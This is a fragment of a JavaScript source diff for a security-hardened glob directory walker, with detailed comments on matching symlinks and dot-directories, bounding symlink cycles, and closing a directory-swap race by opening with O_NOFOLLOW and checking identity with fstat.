+ // this run of `**`s (skipping over any further `**`s —
1034
+ // `nextNonGlobstar[k]`, precomputed above) EXPLICITLY matches
1035
+ // that entry's own name. This is why `**/.*` finds
1036
+ // `.hidden/.deepdot` (`.*` matches both `.hidden`, letting `**`
1037
+ // cross it, and then `.deepdot` two levels down) while
1038
+ // `**/.deepdot` (a plain literal tail) finds nothing (`.deepdot`
1039
+ // the literal does not equal `.hidden`, so `**` never even
1040
+ // crosses into it to look) and `**/*` never crosses any dot
1041
+ // directory at all (a bare `*` never matches a dot name — see
1042
+ // the acceptance note on `walkGlob`'s doc). A trailing `**` (no
1043
+ // segment after it, `nextNonGlobstar[k] === m`) always keeps the
1044
+ // original, unconditional refusal — there is no "next segment"
1045
+ // to grant the exception.
1046
+ const dotOk = name[0] !== '.' || (
1047
+ nextNonGlobstar[k] < m && segmentMatches(matchers[nextNonGlobstar[k]], name)
1048
+ )
1049
+ if (dotOk) {
1050
+ next[k] = true
1051
+ if (k === m - 1) globstarAbsorbedLast = true
1052
+ // #7916 — `crossSet`: Node 22's `glob()` (read directly,
1053
+ // `internal/fs/glob.js`, the GLOBSTAR arm) lets a `**` followed
1054
+ // by more pattern descend a SYMLINKED directory whose own name
1055
+ // the very next segment matches, handing the symlink's children
1056
+ // that next segment again — and ONLY it: the `**` itself is not
1057
+ // carried into the symlink (`**/*` finds `src-link/index.ts`,
1058
+ // `**/*/*` finds `src-link/utils/helper.ts`, `**/index.ts` and
1059
+ // `*/*` find nothing under it). The index set is therefore
1060
+ // `{k+1}` alone, never `next`. That is also what bounds it: a
1061
+ // crossing needs a `**` at k, and the child no longer has one
1062
+ // at k, so each crossing along a path starts from a strictly
1063
+ // later `**` than the last — at most one per `**` in the
1064
+ // pattern, which is why a crossing may re-enter an ancestor
1065
+ // (`**/*` through `sub/selfloop -> .`, which fs.glob also
1066
+ // finds) where the persisting-`**` descent below may not.
1067
+ // That bounds DEPTH only. Fan-out (many links, many
1068
+ // directories) is bounded by the same limits as before: the
1069
+ // deadline and `maxEntries`.
1070
+ // Containment is untouched: the descent below is the same
1071
+ // `validateRawPathWithinCwd` + `openVerifiedDirForDescend` one.
1072
+ if (isSymlink && k + 1 < m && matchers[k + 1] !== CASE_CHECK_GLOBSTAR && segmentMatches(matchers[k + 1], name)) {
1073
+ crossSet[k + 1] = true
1074
+ canCross = true
1075
+ }
1076
+ }
1077
+ } else if (segmentMatches(matchers[k], name)) {
1078
+ next[k + 1] = true
1079
+ if (determinateSegment[k]) detHandoff[k + 1] = true
1080
+ }
1081
+ }
1082
+ closeGlobstars(next)
1083
+
1084
+ // #7901 round 2 (Windows parity) — `join()`, not a hardcoded `/`, so
1085
+ // the result carries the PLATFORM-native separator (`\` on Windows),
1086
+ // matching what the pre-#7901 walk returned via `path.relative()`
1087
+ // (also platform-native) rather than silently switching Windows Glob
1088
+ // results from `sub\file.ts` to `sub/file.ts`. `join('', name)`
1089
+ // collapses to plain `name` (verified: no leading separator), so this
1090
+ // needs no separate empty-prefix branch.
1091
+ const relPath = join(relPrefix, name)
1092
+ let childAbs
1093
+ if (isSymlink) {
1094
+ let resolved
1095
+ try {
1096
+ resolved = await validateRawPathWithinCwd(relPath, realRoot, cwdRealCache, cwdCacheTtl)
1097
+ } catch {
1098
+ resolved = null // FAIL CLOSED — ELOOP, EACCES, etc. withhold, never trust
1099
+ }
1100
+ if (!resolved || !resolved.valid) continue
1101
+ childAbs = resolved.realPath
1102
+ } else {
1103
+ childAbs = join(dirAbs, name)
1104
+ }
1105
+
1106
+ // SECURITY/DoS (#7910 review, item 3 — corrected in round 2) — a
1107
+ // TRAILING `**` closing with ZERO width (matching no real segment of
1108
+ // its own) onto a NON-directory entry is only valid when the entry
1109
+ // that immediately precedes the close was named by a DETERMINATE
1110
+ // segment (verified directly: `plainfile.txt/**`/`[p]lainfile.txt/**`
1111
+ // match a plain FILE `plainfile.txt`; `pl?infile.txt/**`/`*.txt/**`
1112
+ // do not — same rule for a symlink: `[f]ile-link.txt/**` matches a
1113
+ // symlink to a FILE exactly like a plain file does, verified
1114
+ // directly) — or when the globstar legitimately ABSORBED this
1115
+ // entry's own name via its own dot-guarded test
1116
+ // (`globstarAbsorbedLast`; that case needs no gate at all, since the
1117
+ // entry was genuinely consumed as a real segment, file or directory,
1118
+ // same as any ordinary `**` leaf match — `sub/**` finding a plain
1119
+ // file `sub/file.ts` is completely ordinary). A PLAIN directory
1120
+ // entry never needs the determinate check at all: `**` matching
1121
+ // zero of a real directory's contents is always well-formed,
1122
+ // determinate or not. A SYMLINK entry is NOT automatically
1123
+ // "dir-like" the way round 2's original `isDirLike =
1124
+ // dirent.isDirectory() || dirent.isSymbolicLink()` treated it — that
1125
+ // unconditionally exempted EVERY symlink from this gate regardless
1126
+ // of what named it, letting `*/**`/`?rc-link/**`/`[s]*-link/**` (all
1127
+ // NON-determinate — `[s]*-link` contains a bare `*` token, so
1128
+ // `isDeterminateSegmentTokens` correctly still calls the whole
1129
+ // segment non-determinate) spuriously close zero-width onto a
1130
+ // symlinked directory, and `*.txt/**` onto a symlinked FILE, none of
1131
+ // which real `fs.glob` does (verified directly: all four give zero
1132
+ // matches). Unlike the DESCEND decision below, target type (file vs
1133
+ // directory) does NOT gate this closure — `detHandoff[m-1]` alone
1134
+ // is the exact line `fs.glob` draws here, same as a plain file.
1135
+ if (next[m] && m >= 1 && matchers[m - 1] === CASE_CHECK_GLOBSTAR && !globstarAbsorbedLast) {
1136
+ const closesWithZeroWidth = isSymlink ? detHandoff[m - 1] : (dirent.isDirectory() || detHandoff[m - 1])
1137
+ if (!closesWithZeroWidth) next[m] = false
1138
+ }
1139
+
1140
+ // SECURITY/parity (#7910 review round 2; refined #7917) — a pattern
1141
+ // ending in `/` (`directoryOnly`, from `runGlob`) means directories
1142
+ // only. For an ORDINARY entry this is `dirent.isDirectory()`,
1143
+ // matching `fs.glob` exactly: verified directly, a symlink pointing
1144
+ // AT a directory reached only by a NON-determinate segment (`*/`,
1145
+ // `?irlink/`) is still excluded — same as a plain file. #7917 — but
1146
+ // verified directly, `fs.glob`'s own trailing-slash filter draws a
1147
+ // SECOND distinction its own source (`internal/fs/glob.js`'s
1148
+ // `Pattern#isLast`/the literal-string result branch) does not apply
1149
+ // any directory check to at all: a symlink named by a DETERMINATE
1150
+ // segment (`src-link/`, `[d]irlink/`, even `filelink.txt/` — a
1151
+ // symlink to a plain FILE) is matched with NO type check whatsoever,
1152
+ // not even "does the target resolve to a directory". `detHandoff[m]`
1153
+ // (already computed above, per entry, for the zero-width-closure
1154
+ // gate) is exactly "was this entry's own name matched THIS step by a
1155
+ // determinate, non-globstar segment", so it is reused here rather
1156
+ // than re-derived.
1157
+ if (next[m] && (!directoryOnly || dirent.isDirectory() || (isSymlink && detHandoff[m]))) results.push(relPath)
1158
+ if (shouldStop()) return
1159
+
1160
+ let canContinuePattern = false
1161
+ for (let k = 0; k < m; k++) { if (next[k]) { canContinuePattern = true; break } }
1162
+ // SECURITY/DoS (#7910 review, item 1) — a SYMLINKED directory is only
1163
+ // descended into when SOME active, non-globstar, DETERMINATE segment
1164
+ // explicitly matched this entry's name this step (`detHandoff`).
1165
+ // Verified directly against Node 22's `glob()`: `src-link/*`,
1166
+ // `src-link/**`, `[s]rc-link/*`, `{src-link,x}/*` all follow a
1167
+ // symlinked `src-link`; `?rc-link/*`, `*/*` do not. A symlinked
1168
+ // directory reached ONLY via `**` absorption (bare `**`, never
1169
+ // descends past a symlink — the standard reason `**` needs symlink
1170
+ // protection at all, to bound recursion) or ONLY via a
1171
+ // non-determinate wildcard is listed as a match above but never
1172
+ // opened — this is also what makes a symlink self-loop (`a -> .`)
1173
+ // terminate after exactly the literal-segment chain the PATTERN
1174
+ // itself spells out, rather than being re-discovered at every `**`
1175
+ // depth. A plain (non-symlink) directory is unaffected — recursing
1176
+ // into an ordinary directory carries no symlink risk regardless of
1177
+ // how it was reached.
1178
+ const canDescendSymlink = !isSymlink || detHandoff.slice(0, m).some(Boolean)
1179
+ const descendNext = canContinuePattern && canDescendSymlink && (dirent.isDirectory() || isSymlink)
1180
+ if (descendNext || canCross) {
1181
+ // SECURITY (review of #7901 round 2, TOCTOU) — `childAbs` (for a
1182
+ // symlink-flagged entry, `resolved.realPath` from the
1183
+ // `validateRawPathWithinCwd` call above; for a plain-directory-
1184
+ // flagged one, a plain `join`) is a DECISION, not a proof that
1185
+ // survives to the `opendir` about to happen — some real time still
1186
+ // elapses between deciding "this is what we'd open" and actually
1187
+ // opening it (at minimum, the `await` boundary below; `dirent`'s
1188
+ // own type can already be stale before this line even runs, see
1189
+ // `openVerifiedDirForDescend`'s doc). Route through it rather than
1190
+ // opening `childAbs` directly, so the open and the LAST identity
1191
+ // check that vouches for it are inseparable — no path is ever
1192
+ // handed back for a caller to re-resolve blind.
1193
+ const descend = await openVerifiedDirForDescend(
1194
+ childAbs, relPath, realRoot, cwdRealCache, cwdCacheTtl, isSymlink, visitedDirs, dirKey, __testDescendSeam, __testForcePathFallback,
1195
+ { path: dirAbs, key, fh, name },
1196
+ )
1197
+ if (descend) {
1198
+ // An ancestor re-entry is only refused while a `**` would persist
1199
+ // into it (the round-2 DoS shape); a set with no `**` in it
1200
+ // advances the pattern at every hop and is bounded by its length,
1201
+ // so it is allowed (`**/selfloop/*`). Otherwise keep only the
1202
+ // crossing's own indices, if any.
1203
+ const merged = descendNext ? mergeActive(next, crossSet) : crossSet
1204
+ const childActive = !descend.ancestor || !hasActiveGlobstar(merged) ? merged : (canCross ? crossSet : null)
1205
+ if (childActive) await walk(descend.path, relPath, childActive, { dh: descend.dh, key: descend.key, fh: descend.fh })
1206
+ else {
1207
+ await descend.dh.close().catch(() => {})
1208
+ if (descend.fh) await descend.fh.close().catch(() => {})
1209
+ }
1210
+ }
1211
+ }
1212
+ }
1213
+ } finally {
1214
+ if (ownsKey) visitedDirs.delete(key)
1215
+ await dh.close().catch(() => {})
1216
+ if (fh) await fh.close().catch(() => {})
1217
+ }
1218
+ }
1219
+
1220
+ const initial = new Array(m + 1).fill(false)
1221
+ initial[0] = true
1222
+ closeGlobstars(initial)
1223
+ await walk(realRoot, '', initial)
1224
+ }
1225
+
1226
+ /**
1227
+ * SECURITY (review of #7901 round 3, the ABA hole in round 2's identity
1228
+ * check) — open AND identity-verify a directory for `walk` to descend into,
1229
+ * for EITHER a symlink-flagged entry or a plain-directory-flagged one.
1230
+ *
1231
+ * ── The hole round 2 left open ──────────────────────────────────────────
1232
+ *
1233
+ * Round 2 (`lstat(target)` → `opendir(target)` → `lstat(target)` again →
1234
+ * compare dev/ino of the two `lstat`s) verified the PATH, twice, but never
1235
+ * inspected the object `opendir` actually opened. That is an ABA gap, not a
1236
+ * check-then-use gap: an attacker who (1) swaps `target` for a symlink to
1237
+ * `/etc` between the pre-open `lstat` and `opendir` — so `opendir` follows
1238
+ * it and returns a `Dir` for `/etc` — and then (2) swaps the real directory
1239
+ * BACK before the post-open `lstat` runs, sails through both comparisons:
1240
+ * both `lstat`s see the legitimate directory, dev/ino match, and the
1241
+ * already-`/etc`-bound `Dir` is handed to `walk` and iterated, disclosing
1242
+ * `/etc`'s entries under a workspace-looking `relPath`. Chroxy's concurrent
1243
+ * per-turn tool dispatch (`byok-session.js`'s `Promise.all`, #7356) gives an
1244
+ * attacker-controlled Bash call approved in the same turn the real time to
1245
+ * land both swaps while a Glob walk is busy elsewhere in the tree.
1246
+ *
1247
+ * ── The fix: verify the OPENED object, not the path ─────────────────────
1248
+ *
1249
+ * `openNoFollow` (`ws-file-ops/open-nofollow.js`, #7280 — the one
1250
+ * symlink-refusing `open()` for this codebase) opens `target` with
1251
+ * `O_DIRECTORY` and, on every platform it can, `O_NOFOLLOW` enforced
1252
+ * ATOMICALLY by the kernel: if a symlink sits at `target` at the instant of
1253
+ * this call — including the ABA's first swap — the open fails outright,
1254
+ * `ELOOP`, before anything is read. There is no window afterward in which
1255
+ * "swapping back" can retroactively legitimize an open that never happened.
1256
+ * The returned `FileHandle` is then `fstat`ed (`{ bigint: true }`, on the fd
1257
+ * itself — not a fresh `lstat` by path) and compared to the PRE-open
1258
+ * `lstat`: this is the identity of what was actually opened, not of
1259
+ * whatever currently sits at the path, which is exactly what round 2's
1260
+ * two-`lstat` comparison was missing. This closes the described attack
1261
+ * fully — no "swap back" step is ever reachable, because step 1 alone
1262
+ * already fails closed.
1263
+ *
1264
+ * ── Listing: reusing the verified fd where the platform allows it ───────
1265
+ *
1266
+ * `fs.promises.opendir` accepts only a path, never an fd (verified
1267
+ * directly: passing one throws `ERR_INVALID_ARG_TYPE`), so getting `Dir`
1268
+ * entries FROM the already-verified handle — rather than a second, path-based
1269
+ * open that reintroduces a (smaller) version of the same race — needs an
1270
+ * OS-level trick. On **Linux**, `opendir('/proc/self/fd/' + fh.fd)` reopens
1271
+ * through the SAME open file description via the kernel's magic-symlink
1272
+ * `/proc` entries — verified directly (Docker `node:22-alpine`): entries
1273
+ * read this way match the directory at open time even after the original
1274
+ * path is renamed aside and replaced with a symlink to an attacker
1275
+ * directory afterward, i.e. it is bound to the fd, not re-resolved by path.
1276
+ * `fh` is kept open for as long as `dh` is (see `walk`'s `preOpened.fh`) —
1277
+ * closing it early would invalidate the magic-symlink target.
1278
+ *
1279
+ * **macOS has no equivalent** — verified empirically on this exact host,
1280
+ * both via Node (`fs.promises.opendir('/dev/fd/' + fh.fd)`) and via a plain
1281
+ * shell (`ls -la /dev/fd/N` on an fd opened by `exec N< dir`): both fail
1282
+ * `ENOTDIR`, even though `stat()` of that same `/dev/fd/N` path correctly
1283
+ * reports it as a directory. This is a devfs limitation (macOS's `/dev/fd`
1284
+ * dup-on-open only supports regular files), not a Node bug, and `fs.Dir`
1285
+ * exposes no fd a caller could `fstat`/rebind through any other public API.
1286
+ * **Windows has no `/proc`-like construct at all.** On both, listing falls
1287
+ * back to a second, path-based `opendir(target)`, immediately followed by
1288
+ * round 2's original post-open `lstat`-compare (kept, not removed — same
1289
+ * fail-closed-on-any-mismatch shape as before).
1290
+ *
1291
+ * The `openNoFollow` check refuses a link at `target` on every platform. The
1292
+ * fallback's own `opendir(target)` takes no flags, so it is followed
1293
+ * immediately by the `lstat`-compare above, and its entries are verified by
1294
+ * {@link verifyEntriesUnderParent}.
1295
+ *
1296
+ * `isKnownSymlink` — true when `dirent` was ALREADY flagged as a symlink at
1297
+ * listing time and `candidateAbs` is therefore already the confinement-
1298
+ * validated `resolved.realPath` from the `validateRawPathWithinCwd` call in
1299
+ * `walk` (skips the redundant re-lstat-and-resolve below; the pre-open
1300
+ * identity check still runs against the resolved target). False for a
1301
+ * plain-directory-flagged entry, where `candidateAbs` has not been
1302
+ * re-checked since `dirent` was read and may itself now BE a symlink — that
1303
+ * case is routed through the same `validateRawPathWithinCwd` confinement
1304
+ * check the originally-flagged-symlink branch already has, rather than
1305
+ * trusted on `dirent`'s stale word. Either way, both branches funnel into
1306
+ * the SAME `openNoFollow`-based verified-open below — there is exactly one
1307
+ * implementation of "open and verify", not two.
1308
+ *
1309
+ * Parent (`parent`: the directory `walk` is inside, with its dev:ino key and,
1310
+ * where it has one, its verified fd; null for the walk's root). A child is
1311
+ * resolved against that directory, not against its path:
1312
+ * - Linux (`DIR_FD_REOPEN_SUPPORTED`), plain child, parent held open: looked
1313
+ * up and opened as `/proc/self/fd/<parentfd>/<name>`.
1314
+ * - Every other open (the root, a link entry, other platforms, the forced
1315
+ * fallback): after the open, `confirmEntryStillInside` confirms the
1316
+ * directory is still the one verified.
1317
+ * The root is canonicalized and opened here too, so it has a held fd and its
1318
+ * children use the first form where the platform allows.
1319
+ *
1320
+ * `__testSeam(target, phase, names?)`, if given, is the ONLY way to hit any of
1321
+ * these phases deterministically in a test; a real concurrent race is flaky
1322
+ * by construction (see the test file). On every platform it is awaited at
1323
+ * these phases: `'before-stat'` immediately before the lstat of a resolved link
1324
+ * target; `'before-open'` immediately before the `openNoFollow` call
1325
+ * (the pre-open check-to-open window); `'after-open'` (#7910 review round 3)
1326
+ * immediately after `openNoFollow` + the fstat-identity check have PASSED and
1327
+ * before entries are read — proving a swap landing AFTER a successful,
1328
+ * verified open does not retroactively corrupt what was already opened; and
1329
+ * `'after-verify'` immediately before the already-open `Dir` is returned to
1330
+ * `walk`. The path-based fallback (#7919) adds three more: `'after-opendir'`,
1331
+ * between its `opendir(target)` and the lstat re-check that follows it, and,
1332
+ * once per verification round inside {@link verifyEntriesUnderParent},
1333
+ * `'before-entry-verify'` and `'after-entry-lstat'` — those two also receive
1334
+ * the round's entry names as the third argument.
1335
+ *
1336
+ * SECURITY/DoS (#7910 review round 2) — `visitedDirs`/`dirKey` add a SECOND,
1337
+ * independent check alongside the identity one above: once the open is
1338
+ * verified, its `dev:ino` is checked against the set of real directories
1339
+ * already on the CURRENT descent path (root down to the caller). A hit
1340
+ * means this entry's real target is its OWN ancestor — an actual symlink
1341
+ * cycle (`selfloop -> .`), not merely a diamond (the same real directory
1342
+ * reached twice via two separate, non-overlapping symlinks, which is NOT
1343
+ * refused, since `visitedDirs` is path-scoped by `walk`'s own push/pop, not
1344
+ * global to the whole walk). Refusing here, BEFORE `walk` ever touches this
1345
+ * `Dir`'s entries, is what closes the DoS `walkGlob`'s existing
1346
+ * `detHandoff`/`canDescendSymlink` gate does not: that gate answers "was
1347
+ * this entry named by a determinate segment", which a self-loop's REPEATING
1348
+ * name satisfies at every depth it is encountered, forever — see `walkGlob`'s
1349
+ * `visitedDirs` doc for the measured blowup this replaces.
1350
+ *
1351
+ * Ancestor re-entry (#7916) — the result carries `ancestor: true` when the
1352
+ * opened directory is already on the current descent path (`visitedDirs`),
1353
+ * and the refusal is the CALLER's: `walk` refuses it only while a `**` would
1354
+ * persist into the child (`hasActiveGlobstar`), because a child whose index
1355
+ * set has no `**` advances the pattern at every hop and is bounded by the
1356
+ * pattern's length (`sub/selfloop/file.txt`, a `**` crossing). Depth only:
1357
+ * fan-out is bounded by the deadline and `maxEntries`. On `ancestor: true`
1358
+ * the handles are still open and the caller must close them.
1359
+ *
1360
+ * `dh` is a real `fs.Dir` on Linux, and on the macOS/win32 fallback the
1361
+ * Dir-shaped verifyEntriesUnderParent wrapper: async-iterable, `close()`,
1362
+ * yielding `{ name, isDirectory(), isSymbolicLink(), isFile() }` typed from the
1363
+ * verified lstat. `walk` uses only that shared surface.
1364
+ *
1365
+ * @returns {Promise<{dh: import('fs/promises').Dir | VerifiedDirLike, path: string, key: string, fh: import('fs/promises').FileHandle|null, ancestor: boolean}|null>}
1366
+ */
1367
+ const DIR_FD_REOPEN_SUPPORTED = process.platform === 'linux'
1368
+
1369
+ /**
1370
+ * Confirms, after a by-path open, that the directory is still the one verified:
1371
+ * - child entry: the parent directory the walk is inside is a non-link
1372
+ * directory with the dev:ino it was verified with, and the entry's relative
1373
+ * path resolves inside the workspace component by component
1374
+ * (`validateRawPathWithinCwd`);
1375
+ * - root (`parent` null): the opened descriptor is the directory the path
1376
+ * names now. Where `/proc/self/fd` exists the kernel's name for the
1377
+ * descriptor must equal the path; on every platform the canonical path
1378
+ * must still name itself and a fresh lstat of the path must have the
1379
+ * descriptor's dev:ino.
1380
+ * Fails closed on any error.
1381
+ */
1382
+ export async function confirmEntryStillInside(target, relPath, realRoot, cwdRealCache, cwdCacheTtl, parent, dirKey, opened) {
1383
+ try {
1384
+ if (parent === null) {
1385
+ if (DIR_FD_REOPEN_SUPPORTED && (await readlink(`/proc/self/fd/${opened.fh.fd}`)) !== target) return false
1386
+ if ((await realpath(target)) !== target) return false
1387
+ const fresh = await lstat(target, { bigint: true })
1388
+ return isVerifiedDirIdentity(fresh, opened.stat)
1389
+ }
1390
+ const [st, resolved] = await Promise.all([
1391
+ lstat(parent.path, { bigint: true }),
1392
+ validateRawPathWithinCwd(relPath, realRoot, cwdRealCache, cwdCacheTtl),
1393
+ ])
1394
+ // `parent` carries a key, not a stat, so this compares keys rather than
1395
+ // reusing isStillVerifiedDir.
1396
+ if (st.isSymbolicLink() || !st.isDirectory() || st.ino === 0n || dirKey(st) !== parent.key) return false
1397
+ return !!resolved && resolved.valid === true
1398
+ } catch {
1399
+ return false
1400
+ }
1401
+ }
1402
+ // #7919 — entries the fallback verifies per round (see verifyEntriesUnderParent),
1403
+ // which is also the most names one timed double swap can disclose. Measured on
1404
+ // macOS, `**/*` over 5,050 entries (median of 5): 15ms with no verification,
1405
+ // 117ms verifying one entry at a time (two serial lstats each), 41ms at 8,
1406
+ // 33ms at 32, 31ms at 128.
1407
+ const FALLBACK_VERIFY_BATCH = 32
1408
+
1409
+ async function openVerifiedDirForDescend(candidateAbs, relPath, realRoot, cwdRealCache, cwdCacheTtl, isKnownSymlink, visitedDirs, dirKey, __testSeam, __testForcePathFallback = false, parent = null) {
1410
+ let target = candidateAbs
1411
+ let preStat = null
1412
+ // A plain entry is opened relative to the parent's verified descriptor where
1413
+ // the platform can (Linux), so the parent's path is never resolved again.
1414
+ // `openPath` is what is handed to the kernel; `target` stays the logical path.
1415
+ const pinnedToParent = !isKnownSymlink && !!parent?.fh && DIR_FD_REOPEN_SUPPORTED && !__testForcePathFallback
1416
+ const openPath = pinnedToParent ? `/proc/self/fd/${parent.fh.fd}/${parent.name}` : candidateAbs
1417
+ // Anything not opened relative to a held parent descriptor is confirmed
1418
+ // after the open (see `confirmEntryStillInside`).
1419
+ const recheckAfterOpen = !pinnedToParent
1420
+ if (!isKnownSymlink) {
1421
+ try {
1422
+ preStat = await lstat(openPath, { bigint: true })
1423
+ } catch {
1424
+ return null // gone since it was listed — nothing to descend into
1425
+ }
1426
+ if (preStat.isSymbolicLink()) {
1427
+ // Became a symlink since `dirent` was read — resolve+confine it exactly
1428
+ // like the originally-flagged-symlink branch in `walk` does, instead of
1429
+ // trusting `candidateAbs` as a plain directory.
1430
+ let resolved
1431
+ try {
1432
+ resolved = await validateRawPathWithinCwd(relPath, realRoot, cwdRealCache, cwdCacheTtl)
1433
+ } catch {
1434
+ resolved = null // FAIL CLOSED — ELOOP, EACCES, etc.
1435
+ }
1436
+ if (!resolved || !resolved.valid) return null
1437
+ target = resolved.realPath
1438
+ preStat = null // that lstat was for the OLD path — the resolved target needs its own
1439
+ } else if (!preStat.isDirectory()) {
1440
+ return null // no longer a directory (e.g. swapped for a plain file) — nothing to open
1441
+ }
1442
+ }
1443
+
1444
+ if (!preStat) {
1445
+ if (__testSeam) await __testSeam(target, 'before-stat')
1446
+ try {
1447
+ preStat = await lstat(target, { bigint: true })
1448
+ } catch {
1449
+ return null
1450
+ }
1451
+ if (preStat.isSymbolicLink() || !preStat.isDirectory()) return null
1452
+ }
1453
+
1454
+ if (__testSeam) await __testSeam(target, 'before-open')
1455
+
1456
+ // The ABA fix: open with O_NOFOLLOW|O_DIRECTORY (atomic on every platform
1457
+ // `openNoFollow` supports — real kernel enforcement on POSIX, a
1458
+ // check-open-recheck emulation on win32) and verify identity against the
1459
+ // pre-open `lstat` via `fstat` ON THE OPENED HANDLE, never a fresh `lstat`
1460
+ // by path. See the doc above for exactly why this closes the round-2 gap.
1461
+ let fh
1462
+ try {
1463
+ fh = await openNoFollow(pinnedToParent ? openPath : target, fsConstants.O_RDONLY | fsConstants.O_DIRECTORY)
1464
+ } catch {
1465
+ return null // symlink, gone, or otherwise unopenable at this instant — FAIL CLOSED
1466
+ }
1467
+ let openedStat
1468
+ try {
1469
+ openedStat = await fh.stat({ bigint: true })
1470
+ } catch {
1471
+ await fh.close().catch(() => {})
1472
+ return null
1473
+ }
1474
+ if (!isVerifiedDirIdentity(openedStat, preStat)) {
1475
+ // The object actually opened is not the one we checked — withhold
1476
+ // rather than trust it. Nothing has been read from it yet.
1477
+ await fh.close().catch(() => {})
1478
+ return null
1479
+ }
1480
+
1481
+ if (recheckAfterOpen && __testSeam) await __testSeam(target, 'before-confirm')
1482
+ if (recheckAfterOpen && !(await confirmEntryStillInside(target, relPath, realRoot, cwdRealCache, cwdCacheTtl, parent, dirKey, { fh, stat: openedStat }))) {
1483
+ await fh.close().catch(() => {})
1484
+ return null
1485
+ }
1486
+
1487
+ if (__testSeam) await __testSeam(target, 'after-open')
1488
+
1489
+ const key = dirKey(openedStat)
1490
+ // Cycle: this real directory is already an ancestor on the CURRENT descent
1491
+ // path (#7910 review round 2, DoS). Not a diamond — a diamond's target is
1492
+ // not yet in `visitedDirs` because `walk` only holds a key while it is
1493
+ // actively inside that directory (or one of its descendants), never after
1494
+ // backtracking out of it. The refusal itself is the
1495
+ // CALLER's (`ancestor: true` on the result, handles still open for it to
1496
+ // close): a re-entry that only a symlink-crossing `**` asked for is bounded
1497
+ // by the pattern and is allowed, while one the persisting `**` asked for is
1498
+ // the unbounded shape and is refused — see `walkGlob`'s `crossSet` doc.
1499
+ const ancestor = visitedDirs.has(key)
1500
+
1501
+ if (DIR_FD_REOPEN_SUPPORTED && !__testForcePathFallback) {
1502
+ // Linux: read entries from the SAME open file description — no further
1503
+ // path lookup, no further race, ever. See the doc above for the direct
1504
+ // verification that this survives the original path being swapped away.
1505
+ let dh
1506
+ try {
1507
+ dh = await opendir(`/proc/self/fd/${fh.fd}`)
1508
+ } catch {
1509
+ await fh.close().catch(() => {})
1510
+ return null
1511
+ }
1512
+ if (__testSeam) await __testSeam(target, 'after-verify')
1513
+ return { dh, path: target, key, fh, ancestor }
1514
+ }
1515
+
1516
+ // Fallback (macOS/win32/other — no fd-bound reopen available): a second,
1517
+ // path-based `opendir`, immediately re-verified with round 2's original
1518
+ // lstat-compare (see the doc above).
1519
+ let dh
1520
+ try {
1521
+ dh = await opendir(target)
1522
+ } catch {
1523
+ await fh.close().catch(() => {})
1524
+ return null
1525
+ }
1526
+ if (__testSeam) await __testSeam(target, 'after-opendir')
1527
+ let postStat
1528
+ try {
1529
+ postStat = await lstat(target, { bigint: true })
1530
+ } catch {
1531
+ await dh.close().catch(() => {})
1532
+ await fh.close().catch(() => {})
1533
+ return null
1534
+ }
1535
+ const stillSameObject = isVerifiedDirIdentity(postStat, preStat)
1536
+ await fh.close().catch(() => {}) // not used for listing on this path — release it now
1537
+ if (!stillSameObject) {
1538
+ await dh.close().catch(() => {})
1539
+ return null
1540
+ }
1541
+ if (__testSeam) await __testSeam(target, 'after-verify')
1542
+ return { dh: verifyEntriesUnderParent(dh, target, preStat, __testSeam, parent === null), path: target, key, fh: null, ancestor }
1543
+ }
1544
+
1545
+ /**
1546
+ * #7919 — per-entry post-verification for the path-based fallback above
1547
+ * (macOS / win32: no fd-bound directory read). Owner decision recorded on
1548
+ * #7919: option 1, pure JS; a native `fdopendir` helper was rejected because
1549
+ * `bundle-server.sh` refuses native binaries in the bundle.
1550
+ *
1551
+ * `dh` came from `opendir(target)` BY PATH, so it is bound to whatever
1552
+ * directory `target` named at that instant. The lstat-compare right after it
1553
+ * proves `target` is the verified directory AGAIN, not that it was the
1554
+ * verified directory WHEN `opendir` ran: a swap to a symlink before
1555
+ * `opendir` and a swap back before that lstat hands `walk` a `Dir` open on
1556
+ * the OUTSIDE directory, whose entry NAMES would then appear in results.
1557
+ *
1558
+ * So entries are read in rounds of up to FALLBACK_VERIFY_BATCH, and none
1559
+ * reaches `walk` unless, for its round:
1560
+ * 1. every name exists under `parentPath` (`lstat(parentPath/name)`, run
1561
+ * concurrently across the round), and THEN
1562
+ * 2. `parentPath` is still the verified directory (same dev/ino, not a
1563
+ * symlink).
1564
+ * A name read from an outside directory fails step 1 once the real
1565
+ * directory is back in place; keeping the swap in place for step 1 fails
1566
+ * step 2. Beating both needs the attacker to swap out and back again for
1567
+ * EVERY round, landing each restore in the gap between that round's lstats
1568
+ * and its parent check — a multi-race that discloses at most one round of
1569
+ * names per success, where the unfixed path needed one double swap for the
1570
+ * whole directory. A name that exists in BOTH directories discloses
1571
+ * nothing: it is a real entry of the verified one.
1572
+ *
1573
+ * Step 2 failing means the directory was swapped at some point; the rest of
1574
+ * it is abandoned (fail closed). Step 1 answering ENOENT with the parent
1575
+ * intact is an ordinary concurrent delete; that entry is dropped. Any other
1576
+ * lstat error skips that entry; a root where nothing could be checked
1577
+ * throws, which Glob reports as an error result.
1578
+ *
1579
+ * RESIDUAL (not closed): the per-round timed double swap above, bounded to
1580
+ * FALLBACK_VERIFY_BATCH names each. Cost: about one lstat per entry plus one
1581
+ * per round, on macOS/win32 only — Linux reads through the verified fd and
1582
+ * never reaches this wrapper. See FALLBACK_VERIFY_BATCH for the measurement.
1583
+ *
1584
+ * Returns a `Dir`-shaped object: async-iterable, with `close()`. `walk`
1585
+ * consumes it with `for await` and closes it in its `finally`; breaking out
1586
+ * of the loop closes `dh` through the generator's own `return`, and the
1587
+ * later explicit `close()` rejection is already swallowed there.
1588
+ */
1589
+ /**
1590
+ * @typedef {{ name: string, isDirectory: () => boolean, isSymbolicLink: () => boolean, isFile: () => boolean }} VerifiedEntry
1591
+ * @typedef {{ [Symbol.asyncIterator]: () => AsyncGenerator<VerifiedEntry>, close: () => Promise<void> }} VerifiedDirLike
1592
+ */
1593
+ function verifyEntriesUnderParent(dh, parentPath, parentStat, __testSeam, isRoot = false) {
1594
+ return {
1595
+ async * [Symbol.asyncIterator]() {
1596
+ const it = dh[Symbol.asyncIterator]()
1597
+ let verified = 0
1598
+ let unverifiable = 0
1599
+ try {
1600
+ let exhausted = false
1601
+ while (!exhausted) {
1602
+ const batch = []
1603
+ while (batch.length < FALLBACK_VERIFY_BATCH) {
1604
+ const { value, done } = await it.next()
1605
+ if (done) { exhausted = true; break }
1606
+ batch.push(value)
1607
+ }
1608
+ if (batch.length === 0) break
1609
+ if (__testSeam) await __testSeam(parentPath, 'before-entry-verify', batch.map((d) => d.name))
1610
+ // Step 1, concurrently for the whole batch: does each name exist
1611
